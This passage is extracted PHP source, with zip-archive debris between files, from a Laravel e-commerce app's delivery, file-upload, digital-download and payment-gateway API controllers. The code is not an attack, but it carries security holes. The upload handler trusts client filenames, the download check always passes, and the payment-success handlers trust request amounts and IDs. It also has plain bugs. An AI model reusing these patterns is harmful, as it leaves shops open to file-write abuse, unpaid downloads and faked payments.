strtotime("-7 days")); } else if (request()->date_range == "this_month") { $min_date = date('Y-m-d 00:00:00', strtotime("-30 days")); } $order_query->where('delivery_history_date','>=',$min_date)->where('delivery_history_date','<=',$max_date); } if (request()->has('payment_type') && request()->payment_type != null && request()->payment_type != "") { if (request()->payment_type == "cod") { $order_query->where('payment_type','=','cash_on_delivery'); } else if (request()->payment_type == "non-cod") { $order_query->where('payment_type','!=','cash_on_delivery'); } } return new PurchaseHistoryMiniCollection($order_query->where('assign_delivery_boy', $id)->latest()->paginate(10)); } /** * Show the list of today's collection by the delivery boy. * * @param int $id * @return \Illuminate\Http\Response */ public function collection($id) { $collection_query = DeliveryHistory::query(); $collection_query->where('delivery_status', 'delivered'); $collection_query->where('payment_type', 'cash_on_delivery'); return new DeliveryHistoryCollection($collection_query->where('delivery_boy_id', $id)->latest()->paginate(10)); } public function earning($id) { $collection_query = DeliveryHistory::query(); $collection_query->where('delivery_status', 'delivered'); return new DeliveryHistoryCollection($collection_query->where('delivery_boy_id', $id)->latest()->paginate(10)); } public function collection_summary($id) { $collection_query = DeliveryHistory::query(); $collection_query->where('delivery_status', 'delivered'); $collection_query->where('payment_type', 'cash_on_delivery'); $today_date = date('Y-m-d'); $yesterday_date = date('Y-m-d', strtotime("-1 day")); $today_date_formatted = date('d M, Y'); $yesterday_date_formatted = date('d M,Y', strtotime("-1 day")); $today_collection = DeliveryHistory::where('delivery_status', 'delivered') ->where('payment_type', 'cash_on_delivery') ->where('delivery_boy_id', $id) ->where('created_at','like',"%$today_date%") ->sum('collection'); $yesterday_collection = DeliveryHistory::where('delivery_status', 'delivered') ->where('payment_type', 'cash_on_delivery') ->where('delivery_boy_id', $id) ->where('created_at','like',"%$yesterday_date%") ->sum('collection'); return response()->json([ 'today_date' => $today_date_formatted, 'today_collection' => format_price($today_collection) , 'yesterday_date' => $yesterday_date_formatted, 'yesterday_collection' => format_price($yesterday_collection) , ]); } public function earning_summary($id) { $collection_query = DeliveryHistory::query(); $collection_query->where('delivery_status', 'delivered'); $today_date = date('Y-m-d'); $yesterday_date = date('Y-m-d', strtotime("-1 day")); $today_date_formatted = date('d M, Y'); $yesterday_date_formatted = date('d M,Y', strtotime("-1 day")); $today_collection = DeliveryHistory::where('delivery_status', 'delivered') ->where('delivery_boy_id', $id) ->where('created_at','like',"%$today_date%") ->sum('earning'); $yesterday_collection = DeliveryHistory::where('delivery_status', 'delivered') ->where('delivery_boy_id', $id) ->where('created_at','like',"%$yesterday_date%") ->sum('earning'); return response()->json([ 'today_date' => $today_date_formatted, 'today_earning' => format_price($today_collection) , 'yesterday_date' => $yesterday_date_formatted, 'yesterday_earning' => format_price($yesterday_collection) , ]); } /** * For only delivery boy while changing delivery status. * Call from order controller * * @param int $id * @return \Illuminate\Http\Response */ public function change_delivery_status(Request $request) { $order = Order::find($request->order_id); $order->delivery_viewed = '0'; $order->delivery_status = $request->status; $order->save(); $delivery_history = new DeliveryHistory; $delivery_history->order_id = $order->id; $delivery_history->delivery_boy_id = $request->delivery_boy_id; $delivery_history->delivery_status = $order->delivery_status; $delivery_history->payment_type = $order->payment_type; if($order->delivery_status == 'delivered') { foreach ($order->orderDetails as $key => $orderDetail) { if (addon_is_activated('affiliate_system')) { if ($orderDetail->product_referral_code) { $no_of_delivered = 0; $no_of_canceled = 0; if($request->status == 'delivered') { $no_of_delivered = $orderDetail->quantity; } if($request->status == 'cancelled') { $no_of_canceled = $orderDetail->quantity; } $referred_by_user = User::where('referral_code', $orderDetail->product_referral_code)->first(); $affiliateController = new AffiliateController; $affiliateController->processAffiliateStats($referred_by_user->id, 0, 0, $no_of_delivered, $no_of_canceled); } } } $delivery_boy = DeliveryBoy::where('user_id', $request->delivery_boy_id)->first(); if (get_setting('delivery_boy_payment_type') == 'commission') { $delivery_history->earning = get_setting('delivery_boy_commission'); $delivery_boy->total_earning += get_setting('delivery_boy_commission'); } if ($order->payment_type == 'cash_on_delivery') { $delivery_history->collection = $order->grand_total; $delivery_boy->total_collection += $order->grand_total; $order->payment_status = 'paid'; if ($order->commission_calculated == 0) { calculateCommissionAffilationClubPoint($order); $order->commission_calculated = 1; } } $delivery_boy->save(); } $order->delivery_history_date = date("Y-m-d H:i:s"); $order->save(); $delivery_history->save(); if (addon_is_activated('otp_system') && SmsTemplate::where('identifier','delivery_status_change')->first()->status == 1){ try { SmsUtility::delivery_status_change($order->user->phone, $order); } catch (\Exception $e) { } } return response()->json([ 'result' => true, 'message' => translate('Delivery status changed to ').ucwords(str_replace('_',' ',$request->status)) ]); } public function cancel_request($id) { $order = Order::find($id); $order->cancel_request = 1; $order->cancel_request_at = date('Y-m-d H:i:s'); $order->save(); return response()->json([ 'result' => true, 'message' => translate('Requested for cancellation') ]); } public function details($id) { $order_detail = Order::where('id', $id)->where('assign_delivery_boy', auth()->user()->id)->get(); return new PurchaseHistoryCollection($order_detail); } public function items($id) { $order_id = Order::select('id')->where('id', $id)->where('assign_delivery_boy', auth()->user()->id)->first(); $order_query = OrderDetail::where('order_id', $order_id->id); return new PurchaseHistoryItemsCollection($order_query->get()); } } PKPM]%� ���4Http/Controllers/Api/V2/DigitalProductController.phpnu�[���id); $orders = Order::select("id")->where('user_id', auth()->user()->id)->pluck('id'); $orderDetails = OrderDetail::where("product_id", $request->id)->whereIn("order_id", $orders)->get(); if (auth()->user()->user_type == 'admin' || auth()->user()->id == $product->user_id || $orderDetails) { $upload = Upload::findOrFail($product->file_name); if (env('FILESYSTEM_DRIVER') == "s3") { return \Storage::disk('s3')->download($upload->file_name, $upload->file_original_name . "." . $upload->extension); } else { if (file_exists(base_path('public/' . $upload->file_name))) { $file = public_path() . "/$upload->file_name"; return response()->download($file, config('app.name') . "_" . $upload->file_original_name . "." . $upload->extension); } } } else { return response()->download(File("dd.pdf"), "failed.jpg"); } } } PKPM]#����*Http/Controllers/Api/V2/FileController.phpnu�[���user()->user_type == 'seller') ? Upload::where('user_id',auth()->user()->id) : Upload::query(); $all_uploads = $all_uploads->paginate(20)->appends(request()->query()); return new UploadedFileCollection($all_uploads); } // any base 64 image through uploader public function imageUpload(Request $request) { $type = array( "jpg" => "image", "jpeg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image", ); try { $image = $request->image; $request->filename; $realImage = base64_decode($image); $dir = public_path('uploads/all'); $full_path = "$dir/$request->filename"; $file_put = file_put_contents($full_path, $realImage); // int or false if ($file_put == false) { return response()->json([ 'result' => false, 'message' => translate("File uploading error"), 'path' => "", 'upload_id' => 0 ]); } $upload = new Upload; $extension = strtolower(File::extension($full_path)); $size = File::size($full_path); if (!isset($type[$extension])) { unlink($full_path); return response()->json([ 'result' => false, 'message' => translate("Only image can be uploaded"), 'path' => "", 'upload_id' => 0 ]); } $upload->file_original_name = null; $arr = explode('.', File::name($full_path)); for ($i = 0; $i < count($arr) - 1; $i++) { if ($i == 0) { $upload->file_original_name .= $arr[$i]; } else { $upload->file_original_name .= "." . $arr[$i]; } } //unlink and upload again with new name unlink($full_path); $newFileName = rand(10000000000, 9999999999) . date("YmdHis") . "." . $extension; $newFullPath = "$dir/$newFileName"; $file_put = file_put_contents($newFullPath, $realImage); if ($file_put == false) { return response()->json([ 'result' => false, 'message' => translate("Uploading error"), 'path' => "", 'upload_id' => 0 ]); } $newPath = "uploads/all/$newFileName"; if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->put($newPath, file_get_contents(base_path('public/') . $newPath)); unlink(base_path('public/') . $newPath); } $upload->extension = $extension; $upload->file_name = $newPath; $upload->user_id = auth()->user()->id; $upload->type = $type[$upload->extension]; $upload->file_size = $size; $upload->save(); return response()->json([ 'result' => true, 'message' => translate("Image updated"), 'path' => uploaded_asset($upload->id), 'upload_id' => $upload->id ]); } catch (\Exception $e) { return response()->json([ 'result' => false, 'message' => $e->getMessage(), 'path' => "", 'upload_id' => 0 ]); } } } PKPM]P�! 0Http/Controllers/Api/V2/FileUploadController.phpnu�[���user()->id); if (!$user) { return response()->json([ 'result' => false, 'message' => translate("User not found."), 'path' => "" ]); } $type = array( "jpg" => "image", "jpeg" => "image", "png" => "image", "svg" => "image", "webp" => "image", "gif" => "image", ); try { $image = $request->image; $request->filename; $realImage = base64_decode($image); $dir = public_path('uploads/all'); $full_path = "$dir/$request->filename"; $file_put = file_put_contents($full_path, $realImage); // int or false if ($file_put == false) { return response()->json([ 'result' => false, 'message' => "File uploading error", 'path' => "" ]); } $upload = new Upload; $extension = strtolower(File::extension($full_path)); $size = File::size($full_path); if (!isset($type[$extension])) { unlink($full_path); return response()->json([ 'result' => false, 'message' => "Only image can be uploaded", 'path' => "" ]); } $upload->file_original_name = null; $arr = explode('.', File::name($full_path)); for ($i = 0; $i < count($arr) - 1; $i++) { if ($i == 0) { $upload->file_original_name .= $arr[$i]; } else { $upload->file_original_name .= "." . $arr[$i]; } } //unlink and upload again with new name unlink($full_path); $newFileName = rand(10000000000, 9999999999) . date("YmdHis") . "." . $extension; $newFullPath = "$dir/$newFileName"; $file_put = file_put_contents($newFullPath, $realImage); if ($file_put == false) { return response()->json([ 'result' => false, 'message' => "Uploading error", 'path' => "" ]); } $newPath = "uploads/all/$newFileName"; if (env('FILESYSTEM_DRIVER') == 's3') { Storage::disk('s3')->put($newPath, file_get_contents(base_path('public/') . $newPath)); unlink(base_path('public/') . $newPath); } $upload->extension = $extension; $upload->file_name = $newPath; $upload->user_id = $user->id; $upload->type = $type[$upload->extension]; $upload->file_size = $size; $upload->save(); $user->avatar_original = $upload->id; $user->save(); return response()->json([ 'result' => true, 'message' => translate("Image updated"), 'path' => uploaded_asset($upload->id) ]); } catch (\Exception $e) { return response()->json([ 'result' => false, 'message' => $e->getMessage(), 'path' => "" ]); } } } PKPM]&LJ���,Http/Controllers/Api/V2/FilterController.phpnu�[���get()); }); //if you want to show featured categories //return new CategoryCollection(Category::where('featured', 1)->get()); } public function brands() { //show only top 20 brands return Cache::remember('app.filter_brands', 86400, function () { return new BrandCollection(Brand::where('top', 1)->limit(20)->get()); }); } } PKPM]c̪3""/Http/Controllers/Api/V2/FlashDealController.phpnu�[���where('start_date', '<=', strtotime(date('d-m-Y'))) ->where('end_date', '>=', strtotime(date('d-m-Y'))) ->orderBy('created_at', 'desc') ->get(); return new FlashDealCollection($flash_deals); } public function info($slug) { $flash_deals = FlashDeal::where('slug', $slug)->where('status', 1) ->where('start_date', '<=', strtotime(date('d-m-Y'))) ->where('end_date', '>=', strtotime(date('d-m-Y'))) ->get(); return new FlashDealCollection($flash_deals); } public function banners() { $flash_deals = FlashDeal::where('status', 1) ->where('start_date', '<=', strtotime(date('d-m-Y'))) ->where('end_date', '>=', strtotime(date('d-m-Y'))) ->get(); return new FlashDealBannerCollection($flash_deals); } public function products($id) { $flash_deal = FlashDeal::where("slug", $id)->first(); $products = collect(); foreach ($flash_deal->flash_deal_products as $key => $flash_deal_product) { if (Product::find($flash_deal_product->product_id) != null) { $products->push(Product::find($flash_deal_product->product_id)); } } return new ProductMiniCollection($products); } } PKPM]���1Http/Controllers/Api/V2/FlutterwaveController.phpnu�[���payment_type; $user_id = $request->user_id; if ($payment_type == 'cart_payment') { $combined_order = CombinedOrder::find($request->combined_order_id); return $this->initialize($payment_type, $combined_order->id, $combined_order->grand_total, $user_id); } elseif ($payment_type == 'order_re_payment') { $order = Order::findOrFail($request->order_id); return $this->initialize($payment_type, $order->id, $order->grand_total, $user_id); } elseif ($payment_type == 'wallet_payment') { $id = 0; return $this->initialize($payment_type, $id, $request->amount, $user_id); } elseif ( $payment_type == 'seller_package_payment' || $payment_type == 'customer_package_payment' ) { return $this->initialize($payment_type, $request->package_id, $request->amount, $user_id); } } public function initialize($payment_type, $data, $amount, $user_id) { $user = User::find($user_id); //This generates a payment reference $reference = Flutterwave::generateReference(); // Enter the details of the payment $data = [ 'payment_options' => 'card,banktransfer', 'amount' => $amount, 'email' => $user->email, 'tx_ref' => $reference, 'currency' => env('FLW_PAYMENT_CURRENCY_CODE'), 'redirect_url' => route( 'api.flutterwave.callback', [ "payment_type" => $payment_type, "data" => $data, // $data = Combined Order Id / Order Id / Package Id "amount" => $amount, "user_id" => $user_id ] ), 'customer' => [ 'email' => $user->email, "phone_number" => $user->phone, "name" => $user->name ], "customizations" => [ "title" => 'Payment', "description" => "" ] ]; $payment = Flutterwave::initializePayment($data); if ($payment['status'] !== 'success') { // notify something went wrong return response()->json(['result' => false, 'url' => '', 'message' => "Could not find redirect url"]); } return response()->json(['result' => true, 'url' => $payment['data']['link'], 'message' => "Url generated"]); } public function callback(Request $request) { $status = $request->status; //if payment is successful if ($status == 'successful') { $transactionID = Flutterwave::getTransactionIDFromCallback(); $data = Flutterwave::verifyTransaction($transactionID); try { $payment = $data['data']; if ($payment['status'] == "successful") { if ($request->payment_type == 'cart_payment') { checkout_done($request->data, json_encode($payment)); } elseif ($request->payment_type == 'order_re_payment') { order_re_payment_done($request->data, 'Flutterwave', json_encode($payment)); } elseif ($request->payment_type == 'wallet_payment') { wallet_payment_done($request->user_id, $request->amount, 'Flutterwave', json_encode($payment)); } elseif ($request->payment_type == 'seller_package_payment') { seller_purchase_payment_done($request->user_id, $request->data, 'Flutterwave', json_encode($payment)); } elseif ($request->payment_type == 'customer_package_payment') { customer_purchase_payment_done($request->user_id, $request->data, 'Flutterwave', json_encode($payment)); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } else { return response()->json(['result' => false, 'message' => translate("Payment is unsuccessful")]); } } catch (Exception $e) { return response()->json(['result' => false, 'message' => translate("Unsuccessful")]); } } elseif ($status == 'cancelled') { return response()->json(['result' => false, 'message' => translate("Payment Cancelled")]); } } } PKPM]��n���2Http/Controllers/Api/V2/FollowSellerController.phpnu�[���with('shop') ->where('user_id', auth()->user()->id) ->orderBy('shop_id', 'asc') ->paginate(10); return FollowSellerResource::collection($followed_sellers); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store($shop_id) { if (auth()->user()->user_type == 'customer') { $followed_seller = FollowSeller::where('user_id', auth()->user()->id)->where('shop_id', $shop_id)->first(); if ($followed_seller == null) { FollowSeller::insert([ 'user_id' => auth()->user()->id, 'shop_id' => $shop_id ]); } return $this->success(translate('Seller follow is successfull')); } return $this->failed(translate('You need to login as a customer to follow this seller')); } public function remove($shop_id) { $followed_seller = FollowSeller::where('user_id', auth()->user()->id)->where('shop_id', $shop_id)->first(); if ($followed_seller != null) { FollowSeller::where('user_id', auth()->user()->id)->where('shop_id', $shop_id)->delete(); return $this->success(translate('Seller unfollow is successfull')); } } public function checkFollow($shop_id) { $followed_seller = FollowSeller::where('user_id', auth()->user()->id)->where('shop_id', $shop_id)->first(); if ($followed_seller != null) { return $this->success(translate('This seller is followed')); } return $this->failed(translate('This seller is unfollowed')); } } PKPM]?YH  4Http/Controllers/Api/V2/GeneralSettingController.phpnu�[���user(); if (preg_match_all('/^(?:(?:\+|0{0,2})91(\s*[\ -]\s*)?|[0]?)?[789]\d{9}|(\d[ -]?){10}\d$/im', $user->phone)) { $paymentType = $request->payment_type; $amount = round($request->amount); if ($paymentType == 'cart_payment') { $combined_order = CombinedOrder::findOrFail($request->combined_order_id); $amount = round($combined_order->grand_total); $orderID = $combined_order->id; } elseif ($paymentType == 'order_re_payment') { $order = Order::findOrFail($request->order_id); $amount = round($order->grand_total); $orderID = $order->id; } try { $response = $api->paymentRequestCreate(array( "purpose" => ucfirst(str_replace('_', ' ', $paymentType)), "amount" => $amount, "send_email" => false, "email" => $user->email, "phone" => $user->phone, "redirect_url" => url("api/v2/instamojo/success?payment_option=$request->payment_option&payment_type=$paymentType&order_id=$orderID&amount=$amount&package_id=$request->package_id") )); return redirect($response['longurl']); } catch (\Exception $e) { } } return redirect(url("api/v2/online-pay/failed"))->with("errors",'Please add phone number to your profile'); } // success response method. public function success(Request $request) { try { $endPoint = get_setting('instamojo_sandbox') == 1 ? 'https://test.instamojo.com/api/1.1/' : 'https://www.instamojo.com/api/1.1/'; $api = new \Instamojo\Instamojo( env('IM_API_KEY'), env('IM_AUTH_TOKEN'), $endPoint ); $response = $api->paymentRequestStatus(request('payment_request_id')); if (!isset($response['payments'][0]['status']) || $response['payments'][0]['status'] != 'Credit') { return redirect(url("api/v2/online-pay/failed"))->with("errors",translate('Payment Failed')); } } catch (\Exception $e) { return redirect(url("api/v2/online-pay/failed"))->with('errors',translate('Payment Failed')); } $payment = json_encode($response); return redirect( url("api/v2/online-pay/success?payment_type=$request->payment_type&order_id=$request->order_id&amount=$request->amount&package_id=$request->package_id&payment_details=$payment")); } } PKPM]�N|� � -Http/Controllers/Api/V2/InvoiceController.phpnu�[���header('Currency-Code')) { $currency_code = request()->header('Currency-Code'); } else { $currency_code = Currency::findOrFail(get_setting('system_default_currency'))->code; } $language_code = request()->header('App-Language'); if (Language::where('code', $language_code)->first()->rtl == 1) { $direction = 'rtl'; $text_align = 'right'; $not_text_align = 'left'; } else { $direction = 'ltr'; $text_align = 'left'; $not_text_align = 'right'; } if ( $currency_code == 'BDT' || $language_code == 'bd' ) { // bengali font $font_family = "'Hind Siliguri','sans-serif'"; } elseif ( $currency_code == 'KHR' || $language_code == 'kh' ) { // khmer font $font_family = "'Hanuman','sans-serif'"; } elseif ($currency_code == 'AMD') { // Armenia font $font_family = "'arnamu','sans-serif'"; // }elseif($currency_code == 'ILS'){ // // Israeli font // $font_family = "'Varela Round','sans-serif'"; } elseif ( $currency_code == 'AED' || $currency_code == 'EGP' || $language_code == 'sa' || $currency_code == 'IQD' || $language_code == 'ir' || $language_code == 'om' || $currency_code == 'ROM' || $currency_code == 'SDG' || $currency_code == 'ILS' || $language_code == 'jo' ) { // middle east/arabic/Israeli font $font_family = "'Baloo Bhaijaan 2','sans-serif'"; } elseif ($currency_code == 'THB') { // thai font $font_family = "'Kanit','sans-serif'"; } elseif ( $currency_code == 'CNY' || $language_code == 'zh' ) { // Chinese font $font_family = "'yahei','sans-serif'"; } elseif ( $currency_code == 'kyat' || $language_code == 'mm' ) { // Myanmar font $font_family = "'pyidaungsu','sans-serif'"; } elseif ( $currency_code == 'THB' || $language_code == 'th' ) { // Thai font $font_family = "'zawgyi-one','sans-serif'"; } else { // general for all $font_family = "'Roboto','sans-serif'"; } // $config = ['instanceConfigurator' => function($mpdf) { // $mpdf->showImageErrors = true; // }]; // mpdf config will be used in 4th params of loadview $config = []; $order = Order::findOrFail($id); return PDF::loadView('backend.invoices.invoice', [ 'order' => $order, 'font_family' => $font_family, 'direction' => $direction, 'text_align' => $text_align, 'not_text_align' => $not_text_align ], [], $config)->download('order-' . $order->code . '.pdf'); } } PKPM]�*����,Http/Controllers/Api/V2/IyzicoController.phpnu�[���payment_type; $combined_order_id = $request->combined_order_id; $amount = $request->amount; $user_id = $request->user_id; if ($payment_type == 'cart_payment') { $combined_order = CombinedOrder::find($combined_order_id); $amount = $combined_order->grand_total; $firstBasketItemName = "Cart Payment"; $firstBasketItemCategory1 = "Accessories"; } if ($paymentType == 'order_re_payment') { $order = Order::find($request->order_id); $amount = $order->grand_total; $firstBasketItemName = "Order Re Payment"; $firstBasketItemCategory1 = "Accessories"; } if($payment_type == 'wallet_payment'){ $firstBasketItemName = "Wallet Payment"; $firstBasketItemCategory1 = "Wallet"; } if($payment_type == 'customer_package_payment'){ $firstBasketItemName = "Package Payment"; $firstBasketItemCategory1 = "Package"; } if($payment_type == 'seller_package_payment'){ $firstBasketItemName = "Package Payment"; $firstBasketItemCategory1 = "Package"; } $options = new \Iyzipay\Options(); $options->setApiKey(env('IYZICO_API_KEY')); $options->setSecretKey(env('IYZICO_SECRET_KEY')); if (get_setting('iyzico_sandbox') == 1) { $options->setBaseUrl("https://sandbox-api.iyzipay.com"); } else { $options->setBaseUrl("https://api.iyzipay.com"); } $iyzicoRequest = new \Iyzipay\Request\CreatePayWithIyzicoInitializeRequest(); $iyzicoRequest->setLocale(\Iyzipay\Model\Locale::TR); $iyzicoRequest->setConversationId('123456789'); $iyzicoRequest->setPrice(round($amount)); $iyzicoRequest->setPaidPrice(round($amount)); $iyzicoRequest->setCurrency(\Iyzipay\Model\Currency::TL); $iyzicoRequest->setBasketId(rand(000000, 999999)); $iyzicoRequest->setPaymentGroup(\Iyzipay\Model\PaymentGroup::SUBSCRIPTION); $iyzicoRequest->setCallbackUrl(route('api.iyzico.callback')); $buyer = new \Iyzipay\Model\Buyer(); $buyer->setId("BY789"); $buyer->setName("John"); $buyer->setSurname("Doe"); $buyer->setEmail("[email protected]"); $buyer->setIdentityNumber("74300864791"); $buyer->setRegistrationAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1"); $buyer->setCity("Istanbul"); $buyer->setCountry("Turkey"); $iyzicoRequest->setBuyer($buyer); $shippingAddress = new \Iyzipay\Model\Address(); $shippingAddress->setContactName("Jane Doe"); $shippingAddress->setCity("Istanbul"); $shippingAddress->setCountry("Turkey"); $shippingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1"); $iyzicoRequest->setShippingAddress($shippingAddress); $billingAddress = new \Iyzipay\Model\Address(); $billingAddress->setContactName("Jane Doe"); $billingAddress->setCity("Istanbul"); $billingAddress->setCountry("Turkey"); $billingAddress->setAddress("Nidakule Göztepe, Merdivenköy Mah. Bora Sok. No:1"); $iyzicoRequest->setBillingAddress($billingAddress); $basketItems = array(); $firstBasketItem = new \Iyzipay\Model\BasketItem(); $firstBasketItem->setId(rand(1000, 9999)); $firstBasketItem->setName($firstBasketItemName); $firstBasketItem->setCategory1($firstBasketItemCategory1); $firstBasketItem->setItemType(\Iyzipay\Model\BasketItemType::VIRTUAL); $firstBasketItem->setPrice(round($amount)); $basketItems[0] = $firstBasketItem; $iyzicoRequest->setBasketItems($basketItems); $payWithIyzicoInitialize = \Iyzipay\Model\PayWithIyzicoInitialize::create($iyzicoRequest, $options); # print result return Redirect::to($payWithIyzicoInitialize->getPayWithIyzicoPageUrl()); } public function callback(Request $request) { $options = new \Iyzipay\Options(); $options->setApiKey(env('IYZICO_API_KEY')); $options->setSecretKey(env('IYZICO_SECRET_KEY')); if (BusinessSetting::where('type', 'iyzico_sandbox')->first()->value == 1) { $options->setBaseUrl("https://sandbox-api.iyzipay.com"); } else { $options->setBaseUrl("https://api.iyzipay.com"); } $iyzicoRequest = new \Iyzipay\Request\RetrievePayWithIyzicoRequest(); $iyzicoRequest->setLocale(\Iyzipay\Model\Locale::TR); $iyzicoRequest->setConversationId('123456789'); $iyzicoRequest->setToken($request->token); # make request $payWithIyzico = \Iyzipay\Model\PayWithIyzico::retrieve($iyzicoRequest, $options); $payment = $payWithIyzico->getRawResult(); if ($payWithIyzico->getStatus() == 'success') { return response()->json(['result' => true, 'message' => translate("Payment is successful"), 'payment_details' => $payment]); } else { return response()->json(['result' => false, 'message' => translate("Payment unsuccessful"), 'payment_details' => $payment]); } } // the callback function is in the main controller of web | paystackcontroller public function payment_success(Request $request) { try { $payment_type = $request->payment_type; if ($payment_type == 'cart_payment') { checkout_done($request->combined_order_id, $request->payment_details); } if ($payment_type == 'order_re_payment') { order_re_payment_done($request->order_id, 'Iyzico', $request->payment_details); } elseif ($payment_type == 'wallet_payment') { wallet_payment_done($request->user_id, $request->amount, 'Iyzico', $request->payment_details); } elseif ($payment_type == 'seller_package_payment') { seller_purchase_payment_done($request->user_id, $request->package_id, 'Iyzico', $request->payment_details); } elseif ($payment_type == 'customer_package_payment') { customer_purchase_payment_done($request->user_id, $request->package_id, 'Iyzico', $request->payment_details); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } catch (\Exception $e) { return response()->json(['result' => false, 'message' => $e->getMessage()]); } } } PKPM] �T���,Http/Controllers/Api/V2/KhaltiController.phpnu�[���payment_type == 'cart_payment') { $combined_order = CombinedOrder::find($request->combined_order_id); $purchase_order_id = $combined_order->id . '-' . uniqid(); $amount = $combined_order->grand_total; } elseif ($request->payment_type == 'order_re_payment') { $order = Order::find($request->order_id); $purchase_order_id = $order->id . '-' . uniqid(); $amount = $order->grand_total; } elseif ($request->payment_type == 'wallet_payment') { $amount = $request->amount; $purchase_order_id = $request->payment_type . '-' . $amount . '-' . uniqid(); } elseif ($request->payment_type == 'seller_package_payment' || $request->payment_type == 'customer_package_payment') { $amount = $request->amount; $purchase_order_id = $request->package_id . '-' . uniqid(); } $return_url = route('api.khalti.success'); //must be changed $args = http_build_query([ 'return_url' => $return_url, 'website_url' => route('home'), 'amount' => $amount * 100, "modes" => [ "KHALTI", "EBANKING", "MOBILE_BANKING", "CONNECT_IPS", "SCT" ], 'purchase_order_id' => $purchase_order_id, 'purchase_order_name' => $request->payment_type, ]); if (get_setting('khalti_sandbox') == 1) { $url = 'https://a.khalti.com/api/v2/epayment/initiate/'; } else { $url = 'https://khalti.com/api/v2/epayment/initiate/'; } # Make the call using API. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $args); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $headers = ['Authorization: Key ' . env('KHALTI_SECRET_KEY')]; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // Response $response = json_decode(curl_exec($ch), true); curl_close($ch); // return response()->json([ // "result" => true, // "url" => $response['payment_url'] // ]); return Redirect::to($response['payment_url']); } public function paymentDone(Request $request) { $args = http_build_query([ 'pidx' => $request->pidx, ]); if (get_setting('khalti_sandbox') == 1) { $url = 'https://a.khalti.com/api/v2/epayment/lookup/'; } else { $url = 'https://khalti.com/api/v2/epayment/lookup/'; } # Make the call using API. $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $args); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $headers = ['Authorization: Key ' . env('KHALTI_SECRET_KEY')]; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // Response $response = json_decode(curl_exec($ch)); curl_close($ch); if ($response->status == 'Completed') { if ($request->payment_type == 'cart_payment') { checkout_done($request->combined_order_id, json_encode($response)); } elseif ($request->payment_type == 'order_re_payment') { order_re_payment_done($request->order_id, 'khalti', json_encode($response)); } elseif ($request->payment_type == 'wallet_payment') { wallet_payment_done($request->user_id, $request->amount, 'khalti', json_encode($response)); } elseif ($request->payment_type == 'seller_package_payment') { seller_purchase_payment_done($request->user_id, $request->package_id, 'khalti', json_encode($response)); } elseif ($request->payment_type == 'customer_package_payment') { customer_purchase_payment_done($request->user_id, $request->package_id, 'khalti', json_encode($response)); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } else { return response()->json(['result' => false, 'message' => translate("Payment is failed")]); } } } PKPM]� �ee.Http/Controllers/Api/V2/LanguageController.phpnu�[���get()); } } PKPM]>�(lAA0Http/Controllers/Api/V2/MyfatoorahController.phpnu�[���mfObj = new PaymentMyfatoorahApiV2(env('MYFATOORAH_TOKEN'), env('MYFATOORAH_COUNTRY_ISO'), get_setting('myfatoorah_sandbox') == 1 ? true : false); } /** * Create MyFatoorah invoice * * @return \Illuminate\Http\Response */ public function pay(Request $request) { $payment_type = $request->payment_type; $amount = $request->amount; $user = User::find($request->user_id); if ($payment_type == 'cart_payment') { $combined_order = CombinedOrder::findOrFail($request->combined_order_id); $amount = $combined_order->grand_total; $CustomerReference = $payment_type . '-' . $combined_order->id . '-' . $user->id; } elseif ($payment_type == 'order_re_payment') { $order = Order::findOrFail($request->order_id); $amount = $order->grand_total; $CustomerReference = $payment_type . '-' . $order->id . '-' . $user->id; } elseif ($payment_type == 'wallet_payment') { $CustomerReference = $payment_type . '-' . $amount . '-' . $user->id; } elseif ($payment_type == 'customer_package_payment' || $payment_type == 'seller_package_payment') { $CustomerReference = $payment_type . '-' . $request->package_id . '-' . $user->id; } // $currency_code = \App\Models\Currency::find(get_setting('system_default_currency'))->code; $paymentMethodId = 0; $callbackURL = route('api.myfatoorah.callback'); $data = [ 'InvoiceValue' => $amount, 'DisplayCurrencyIso' => $currency_code, 'CallBackUrl' => $callbackURL, 'ErrorUrl' => $callbackURL, 'paymentMethodId' => $paymentMethodId, 'CustomerName' => $user->name, 'CustomerEmail' => $user->email ?? '[email protected]', 'MobileCountryCode' => '+965', 'CustomerMobile' => '12345678', 'Language' => 'en', 'CustomerReference' => $CustomerReference, ]; try { $data = $this->mfObj->getInvoiceURL($data, $paymentMethodId); if ($data['invoiceId']) { $checkoutUrl = $data['invoiceURL']; return Redirect::to($checkoutUrl); } return response()->json(['result' => false, 'message' => translate("Payment failed or got cancelled")]); } catch (\Exception $e) { // return response()->json(['IsSuccess' => 'false', 'Message' => $e->getMessage()]); return response()->json(['result' => false, 'message' => translate("Payment failed or got cancelled")]); } } /** * Get MyFatoorah payment information * * @return \Illuminate\Http\Response */ public function callback(Request $request) { try { $response = $this->mfObj->getPaymentStatus(request('paymentId'), 'PaymentId'); if ($response->InvoiceStatus == 'Paid') { $customerReference = explode("-", $response->CustomerReference); $payment_type = $customerReference[0]; if ($payment_type == 'cart_payment') { checkout_done($customerReference[1], json_encode($response)); } elseif ($request->payment_type == 'order_re_payment') { order_re_payment_done($customerReference[1], 'My Fatoorah', json_encode($response)); } elseif ($payment_type == 'wallet_payment') { wallet_payment_done($customerReference[2], $customerReference[1], 'My Fatoorah', json_encode($response)); } elseif ($payment_type == 'customer_package_payment') { customer_purchase_payment_done($customerReference[2], $customerReference[1], 'My Fatoorah', json_encode($response)); } elseif ($payment_type == 'seller_package_payment') { seller_purchase_payment_done($customerReference[2], $customerReference[1], 'My Fatoorah', json_encode($response)); } return response()->json(['result' => true, 'message' => translate("Payment is successful")]); } else { return response()->json(['result' => false, 'message' => 